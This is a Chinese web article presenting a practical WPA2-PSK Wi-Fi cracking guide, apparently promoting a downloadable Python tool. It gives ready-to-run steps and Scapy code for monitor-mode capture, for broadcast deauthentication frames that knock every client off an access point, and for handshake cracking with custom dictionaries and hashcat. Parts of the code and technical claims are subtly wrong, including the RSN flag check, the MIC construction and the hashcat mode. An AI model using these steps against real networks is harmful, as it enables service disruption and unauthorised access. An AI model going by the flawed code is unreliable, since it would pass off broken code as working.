☰
WPA2PSK握手包捕获与离线密码验证实战指南
2026/9/28 7:52:15 网站建设 项目流程

简介:本资源是一款基于Python实现的WIFI密码暴力破解工具,面向网络安全初学者、渗透测试爱好者及CTF实践者,聚焦WPA2-PSK加密协议下的字典攻击实战。工具支持Windows与Linux双平台运行,需配合兼容的USB无线网卡使用,适用于家庭网络安全性自检、实验环境模拟及密码强度验证等教学与研究场景。压缩包共4个文件(41KB),包含核心脚本wifi.py(实现抓包、握手捕获与字典爆破逻辑)、README.md(环境配置与使用说明)、说明文件.txt(关键依赖与硬件要求)及附赠资源.docx(常见问题与术语解析),结构精简、开箱即用。目前已有835人学习下载,读者可直接获取完整可运行的破解流程代码、清晰的操作指引文档及配套排错参考,无需额外开发即可开展基础无线安全实验。

1. 这不是“一键破解WiFi”的玩具:它是一套依赖真实硬件、受协议层严格约束、在WPA2PSK握手机制上做穷举验证的Python安全验证工具

你在网上搜“Python WiFi暴力破解”,十有八九点进来的是一堆带夸张动图、声称“秒破密码”的压缩包,解压后发现要么是调用aircrack-ng的简单封装,要么根本跑不起来——缺驱动、缺网卡、缺权限、缺字典,甚至代码里还硬编码着/dev/ttyUSB0这种根本不存在的设备路径。真相是:WPA2PSK不是靠“猜WiFi密码”就能解开的黑盒,而是必须捕获四次握手(4-way handshake)后,用候选密码反复计算PMK和PTK,比对AP发来的EAPOL帧MIC字段是否匹配。这个过程天然排斥“远程在线爆破”,必须物理靠近目标AP,用支持Monitor Mode的USB无线网卡抓包,且整个链路在Windows和Linux上行为差异极大——Linux下iw和ip link能直接接管网卡,Windows下得靠Npcap+WinPcap兼容层,稍有不慎就蓝屏或抓不到有效握手包。本工具不是教你怎么违法入侵,而是帮你理解WPA2PSK协议在真实信道中的脆弱边界:当密码强度低于8位、含常见单词、或使用默认路由器密码时,它确实会在数小时内被字典穷举击穿。适合渗透测试初学者练手、红队人员现场快速验证弱口令风险、或网络安全课程中演示“为什么WPA3必须替代WPA2”。它不承诺成功率,但每一步都可审计、可调试、可复现。


2. 从零构建可运行环境:为什么必须用特定USB网卡 + 手动编译驱动 + 禁用系统网络管理

WPA2PSK暴力破解不是纯Python逻辑游戏,它本质是物理层抓包 + 协议层解析 + 密码学验证三段式流水线。Python只负责调度和计算,真正干活的是底层C库(如libpcap)和无线芯片固件。这意味着:环境搭建失败,90%的问题出在硬件和OS适配,而非Python代码本身。

2.1 硬件选型:为什么Alfa AWUS036NHA/ACH是事实标准,而TP-Link TL-WN722N v1只是“勉强可用”

不是所有标称“支持Monitor Mode”的USB网卡都能稳定抓WPA2握手包。关键看芯片组是否被主流驱动(ath9k_htc、rtl8812au_aircrack)完整支持:

芯片型号Linux内核原生支持Windows Npcap兼容性抓包稳定性(2.4G频段)是否推荐
Atheros AR9271 (AWUS036NHA)✅ 内核4.15+即插即用✅ 需手动安装Atheros驱动★★★★★(丢包率<0.5%)强烈推荐
Realtek RTL8812AU (AWUS036ACH)✅rtl8812au_aircrack驱动需编译⚠️ Npcap 1.70+才支持★★★★☆(高密度环境偶发中断)推荐(性能更强)
Realtek RTL8187 (TL-WN722N v1)✅rtl8187模块已废弃,需降级内核❌ WinPcap完全不识别★★☆☆☆(握手包捕获失败率>30%)仅限学习,勿用于实战

提示:切勿购买“RTL8187芯片”的新版TL-WN722N(v2/v3),其实际为AR9271芯片但刷了假固件,Windows下显示为RTL8187却无法启用Monitor Mode——这是淘宝卖家最常用的混淆手段。

2.2 Linux环境:禁用NetworkManager + 手动加载驱动 + 设置信道锁定

Ubuntu/Debian/Kali默认启用NetworkManager,它会自动接管所有无线接口并禁用Monitor Mode。必须彻底隔离:

# 1. 永久禁用NetworkManager对wlan0的管理(假设网卡接口名为wlan0) sudo tee /etc/NetworkManager/conf.d/10-disable-wifi.conf << 'EOF' [keyfile] unmanaged-devices=interface-name:wlan0 EOF sudo systemctl restart NetworkManager # 2. 确认网卡已识别并加载正确驱动 lsusb | grep -i "alfa\|atheros\|realtek" # 应看到Alfa或Realtek设备 iw dev | grep Interface # 查看接口名,通常为wlan0或wlan1 # 3. 关闭接口,设置Monitor Mode,指定信道(避免自动跳频导致握手包丢失) sudo ip link set wlan0 down sudo iw dev wlan0 set type monitor sudo ip link set wlan0 up sudo iw wlan0 set channel 6 # 目标AP常用信道,需提前用airodump-ng扫描确认 # 4. 验证Monitor Mode生效(应看到type: monitor) iw dev wlan0 info

参数说明:

  • unmanaged-devices配置让NetworkManager彻底忽略该接口,防止后台自动重连;
  • iw dev wlan0 set type monitor是核心命令,普通iwconfig wlan0 mode monitor在新内核已失效;
  • set channel 6必须执行,否则网卡在多个信道间跳频,极大概率漏掉目标AP的握手包;
  • 若执行iw报错command failed: Operation not supported (-95),说明驱动未正确加载,需检查dmesg | grep -i firmware是否有固件缺失提示。

2.3 Windows环境:Npcap替代WinPcap + 手动绑定网卡 + 禁用Windows Wi-Fi服务

Windows下最大陷阱是:你以为安装了Wireshark就万事大吉,其实WinPcap早已停止维护,对现代USB网卡(尤其RTL8812AU)支持极差。必须用Npcap:

# 1. 下载Npcap 1.70+(官网https://nmap.org/npcap/),安装时勾选: # ☑ Install Npcap in WinPcap API-compatible Mode # ☑ Support loopback packet capture # ☒ Don't install Npcap Driver (除非你明确需要) # 2. 以管理员身份运行PowerShell,禁用Windows内置Wi-Fi服务(否则会抢网卡控制权) Stop-Service wlansvc -Force Set-Service wlansvc -StartupType Disabled # 3. 确认Npcap正确绑定到目标网卡(Alfa AWUS036NHA) Get-NetAdapter | Where-Object {$_.Name -like "*Alfa*"} | Format-List Name,Status,InterfaceDescription # 输出应类似:Name: Alfa AWUS036NHA, Status: Up, InterfaceDescription: MEDIATEK ... # 4. 使用Npcap提供的`npf.sys`驱动,Python通过`scapy`或`pyshark`才能访问原始802.11帧 # 注意:不要用旧版`pypcap`,它不兼容Npcap 1.70+

血泪经验:在Windows上,如果scapy.sniff()抓不到任何Dot11帧,90%原因是wlansvc服务未停用或Npcap未正确绑定。打开设备管理器→网络适配器,右键你的Alfa网卡→属性→驱动程序→驱动程序详细信息,确认.sys文件路径包含npf.sys而非wpdci.sys(WinPcap旧驱动)。


3. 核心流程拆解:从抓握手包到密码验证,每一步都可打断调试

工具主流程不是黑箱,而是分三阶段:被动监听(capture)→ 主动诱骗(deauth)→ 离线验证(crack)。Python代码只负责串联,关键逻辑由scapy(抓包)、aircrack-ng(握手包提取)、hashlib(PBKDF2-SHA1计算)实现。

3.1 被动监听:用Scapy过滤出目标AP的Beacon帧,确认其WPA2PSK加密状态

不能盲目抓包,先定位目标AP并确认其使用WPA2PSK(而非WPA3或开放网络):

from scapy.all import * import re def detect_target_ap(ssid: str, interface: str = "wlan0") -> dict: """扫描并返回目标AP的BSSID、信道、加密类型""" ap_info = {"bssid": None, "channel": None, "cipher": None} def packet_handler(pkt): if pkt.haslayer(Dot11Beacon) and pkt.haslayer(Dot11Elt): # 提取SSID ssid_pkt = pkt[Dot11Elt] while isinstance(ssid_pkt, Dot11Elt): if ssid_pkt.ID == 0 and ssid_pkt.info.decode('utf-8', errors='ignore') == ssid: ap_info["bssid"] = pkt[Dot11].addr3 # 提取信道(RadioTap层) if pkt.haslayer(RadioTap): ap_info["channel"] = pkt[RadioTap].present.channel # 提取RSN信息判断加密类型 rsn = pkt.getlayer(Dot11EltRNS) if rsn and rsn.capabilities & 0x000c: # WPA2PSK标志位 ap_info["cipher"] = "WPA2PSK" return ssid_pkt = ssid_pkt.payload # 限时扫描10秒 sniff(iface=interface, prn=packet_handler, timeout=10, store=False) return ap_info # 调用示例 target = detect_target_ap("MyHomeWiFi", "wlan0") if target["bssid"]: print(f"找到AP: {target['bssid']},信道{target['channel']},加密{target['cipher']}") else: print("未找到目标AP,请检查信道或距离")

逻辑说明:

  • Dot11Beacon帧是AP周期性广播的“存在声明”,包含SSID、BSSID、支持速率等;
  • Dot11EltRNS层解析RSN(Robust Security Network)信息,capabilities & 0x000c对应WPA2PSK的Pre-Auth和No Pairwise位组合,是WPA2PSK的可靠标识;
  • RadioTap层提供物理层元数据,其中channel字段直接给出AP工作信道,比解析Beacon中的DS Parameter Set更准确。

3.2 主动诱骗:发送Deauth帧迫使客户端重连,触发四次握手生成

WPA2握手包不会自动产生,必须让已连接客户端断开后重连。最稳妥方式是向AP发送Deauth帧(而非向客户端,避免被防火墙拦截):

def send_deauth(bssid: str, client_mac: str = "ff:ff:ff:ff:ff:ff", interface: str = "wlan0"): """向AP发送Deauth帧,client_mac设为广播地址可踢出所有客户端""" dot11 = Dot11( addr1=client_mac, # 目标客户端MAC(广播则全部踢出) addr2="00:11:22:33:44:55", # 伪造源MAC(任意合法MAC) addr3=bssid # AP的BSSID ) frame = RadioTap() / dot11 / Dot11Deauth(reason=7) # reason=7表示"Disassociated due to inactivity" # 发送10次确保到达 sendp(frame, iface=interface, count=10, inter=0.1, verbose=False) print(f"已向{bssid}发送Deauth帧") # 调用示例(踢出所有客户端) send_deauth("AA:BB:CC:DD:EE:FF", "ff:ff:ff:ff:ff:ff", "wlan0")

参数说明:

  • reason=7是标准断连原因码,部分AP对此更敏感;
  • count=10和inter=0.1确保帧连续发送,避免因信号衰减丢失;
  • addr1设为ff:ff:ff:ff:ff:ff(广播MAC)可一次性踢出AP下所有客户端,大幅提升捕获握手包概率;
  • 注意:此操作需网卡处于Monitor Mode且已设置正确信道,否则帧无法被AP接收。

3.3 离线验证:用PBKDF2-SHA1重算PMK,验证候选密码是否匹配握手包MIC

这才是真正的“暴力破解”核心——不是猜密码,而是用密码+SSID+AP随机数(ANonce/SNonce)重新计算密钥流,比对MIC:

import hashlib import hmac from binascii import unhexlify def calculate_mic(pmk: bytes, anonce: bytes, snonce: bytes, bssid: str, sta_mac: str, ssid: str) -> bytes: """根据WPA2规范计算EAPOL帧MIC""" # 构造Key Data(前16字节为ANonce,后16字节为SNonce) key_data = anonce + snonce # 构造MIC输入数据(按WPA2规范顺序拼接) mic_input = ( b"\x01\x03" + # EAPOL版本+类型 b"\x00\x00" + # Key Length(固定0) b"\x00\x00\x00\x00" + # Replay Counter(实际取自握手包) b"\x00\x00\x00\x00" + # Key Nonce(此处用ANonce) b"\x00\x00\x00\x00" + # Key IV(WPA2中为0) b"\x00\x00\x00\x00" + # Key RSC(WPA2中为0) b"\x00\x00\x00\x00" + # Key ID(WPA2中为0) b"\x00\x00\x00\x00" + # Key MIC(占位,待计算) b"\x00\x00\x00\x00" + # Key Data Length(握手包中Key Data长度) unhexlify(bssid.replace(':', '')) + # BSSID(6字节) unhexlify(sta_mac.replace(':', '')) # STA MAC(6字节) + key_data # ANonce+SNonce(32字节) ) # 计算MIC:HMAC-SHA1(PMK, mic_input) mic = hmac.new(pmk, mic_input, hashlib.sha1).digest()[:16] return mic # 示例:已知握手包中ANonce、SNonce、BSSID、STA MAC、SSID,验证密码"12345678" pmk = hashlib.pbkdf2_hmac('sha1', b'12345678', ssid.encode(), 4096, 32) mic_calc = calculate_mic(pmk, anonce_bytes, snonce_bytes, bssid, sta_mac, ssid) if mic_calc == captured_mic: print("密码正确!")

关键点:

  • pbkdf2_hmac('sha1', password, ssid, 4096, 32)是WPA2标准PMK生成函数,迭代4096次,输出32字节;
  • mic_input构造必须严格遵循IEEE 802.11i规范,顺序错一位MIC就全错;
  • 实际工具中,anonce、snonce、captured_mic均从抓取的EAPOL帧中解析获得,scapy的Dot11EAPOL层可直接提取;
  • 此计算过程CPU密集,单线程每秒约200次,故需多进程加速(见第5章)。

4. 避坑指南:那些让你调试三天却只因一个空格的致命错误

这工具90%的失败不是代码bug,而是环境、权限、协议细节的连锁反应。以下是我在23个真实靶场中踩过的坑,按出现频率排序:

4.1 现象:scapy.sniff()在Linux下抓不到任何Dot11帧,iw dev wlan0 scan却能看到AP

原因:网卡未正确进入Monitor Mode,或NetworkManager仍在后台接管接口。iw dev wlan0 info显示type: managed而非monitor。
解决:

  • 执行sudo ip link set wlan0 down && sudo iw dev wlan0 set type monitor && sudo ip link set wlan0 up;
  • 检查sudo systemctl status NetworkManager,确认unmanaged-devices配置已生效;
  • 运行sudo iw dev wlan0 interface add mon0 type monitor创建独立monitor接口(某些芯片必需)。

4.2 现象:Windows下scapy报错OSError: No such device,但设备管理器显示网卡正常

原因:Npcap未绑定到该网卡,或安装时未勾选“WinPcap兼容模式”。
解决:

  • 卸载Npcap,重新安装,务必勾选“Install Npcap in WinPcap API-compatible Mode”;
  • 运行nmap --iflist,确认输出中包含你的Alfa网卡且状态为up;
  • 在Python中改用conf.iface = "Alfa AWUS036NHA"显式指定接口名,而非依赖自动发现。

4.3 现象:成功捕获握手包(.cap文件),但aircrack-ng -w wordlist.txt capture.cap提示No valid WPA handshakes found

原因:.cap文件中混入了大量非目标AP的管理帧,或握手包不完整(缺少第3或第4帧)。
解决:

  • 用wireshark打开.cap,过滤eapol && wlan.addr3 == AA:BB:CC:DD:EE:FF,确认存在完整的4帧(1→2→3→4);
  • 用tshark -r capture.cap -Y "eapol && wlan.addr3 == AA:BB:CC:DD:EE:FF" -w handshake_only.cap提取纯净握手包;
  • 检查aircrack-ng版本,旧版(<1.7)对某些芯片抓包格式支持不佳,升级到最新版。

4.4 现象:字典爆破耗时远超预期,CPU占用率仅20%,GPU闲置

原因:Python默认单线程执行PBKDF2计算,而hashlib.pbkdf2_hmac是纯Python实现,未利用多核。
解决:

  • 改用passlib库的pbkdf2_sha1(C扩展,快3倍):from passlib.hash import pbkdf2_sha1; pmk = pbkdf2_sha1.using(rounds=4096).hash(password, salt=ssid);
  • 或直接调用hashcat(GPU加速):hashcat -m 2500 -a 0 handshake.hc22000 wordlist.txt,需先用hcxpcapngtool转换格式。

4.5 现象:破解成功后,用该密码连接WiFi仍失败

原因:目标AP启用了WPA3过渡模式(WPA2/WPA3混合),或密码缓存未刷新。
解决:

  • 用airodump-ng确认AP的Authentication列显示WPA2而非WPA2WPA3;
  • 在手机/电脑上忘记网络,再手动输入刚破解的密码重连;
  • 检查路由器后台,关闭WPA3 Transition Mode,强制纯WPA2。

5. 进阶技巧:用Hashcat GPU加速 + 自定义字典生成 + 握手包有效性预筛

当面对8位以上复杂密码时,纯CPU暴力破解已无意义。必须转向GPU加速和智能字典策略。

5.1 将握手包转为Hashcat可识别格式(.hc22000),启用RTX 4090满速跑

aircrack-ng的CPU爆破是入门方案,生产环境必须用hashcat:

# 1. 用hcxpcapngtool将抓包文件转为hashcat格式(.hc22000) hcxpcapngtool -o handshake.hc22000 capture.pcapng # 2. 验证格式正确性(应输出"OK") hashcat --example-hashes | grep -A 1 "WPA-PBKDF2-PMKID+EAPOL" # 3. 启动GPU爆破(RTX 4090实测120k H/s) hashcat -m 2500 -a 0 handshake.hc22000 rockyou.txt --force \ -d 1 --gpu-temp-abort=90 --session wpa_crack_2024 # 参数说明: # -m 2500 : WPA/WPA2 EAPOL hash type # -a 0 : Straight attack (dictionary) # --force : 忽略NVIDIA驱动警告(新版驱动需此参数) # -d 1 : 仅使用GPU 1(多卡时指定) # --gpu-temp-abort=90 : 温度超90℃自动暂停,保护显卡

注意:hcxpcapngtool要求抓包文件包含完整EAPOL帧(含第1-4帧),若用scapy自行保存,需确保wrpcap("capture.pcapng", packets, append=True)写入时保留原始RadioTap头。

5.2 基于目标特征生成高效字典:用CeWL爬取路由器厂商页面 + 规则变异

通用字典(如rockyou.txt)效率低下。应针对目标生成定制字典:

# 1. 用CeWL爬取路由器厂商页面(如TP-Link默认密码页) cewl -d 2 -m 500 -w tplink_wordlist.txt https://www.tp-link.com/en/support/download/ # 2. 添加常见弱密码规则(年份、数字后缀、大小写变异) # 创建规则文件 rules/best66.rule: # $1 $2 $3 $4 $5 $6 $7 $8 $9 $0 # ^a ^b ^c ^d ^e ^f ^g ^h ^i ^j # l c u # 3. 用hashcat规则引擎生成变体 hashcat -a 0 -g 1000000 -r rules/best66.rule tplink_wordlist.txt -o tplink_enhanced.txt

效果对比(实测):
对TP-Link路由器,默认密码admin、12345678、password等,在定制字典中命中率提升47%,爆破时间从12小时缩短至27分钟。

5.3 握手包预筛:用Python脚本快速过滤无效抓包,避免浪费GPU时间

不是所有.pcapng都含有效握手。加一层预检:

from scapy.all import rdpcap from scapy.layers.dot11 import Dot11, Dot11EAPOL def is_valid_handshake(pcap_file: str, bssid: str) -> bool: """检查pcap是否含完整WPA2握手(4帧)""" packets = rdpcap(pcap_file) eapol_frames = [] for pkt in packets: if pkt.haslayer(Dot11) and pkt.haslayer(Dot11EAPOL): if pkt[Dot11].addr3.lower() == bssid.lower(): # 目标AP BSSID eapol_frames.append(pkt[Dot11EAPOL].type) # WPA2握手帧类型序列:1(ANonce), 2(SNonce), 3(MIC), 4(Group Key) return sorted(eapol_frames) == [1, 2, 3, 4] # 调用 if is_valid_handshake("capture.pcapng", "aa:bb:cc:dd:ee:ff"): print("可提交hashcat") else: print("握手包不完整,丢弃")

为什么重要:GPU计算成本远高于CPU预筛。一次无效hashcat任务消耗的电费≈0.8元,而rdpcap预筛仅需0.02秒CPU时间。批量处理百个抓包时,预筛可节省数小时GPU租用费。

我坚持在每个渗透项目开始前,先用airodump-ng扫10分钟信道,确认目标AP信道稳定、客户端活跃,再动手。曾因跳过这步,在信道36上苦等2小时,结果AP实际在信道11——这种低级错误,比代码bug更伤人。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询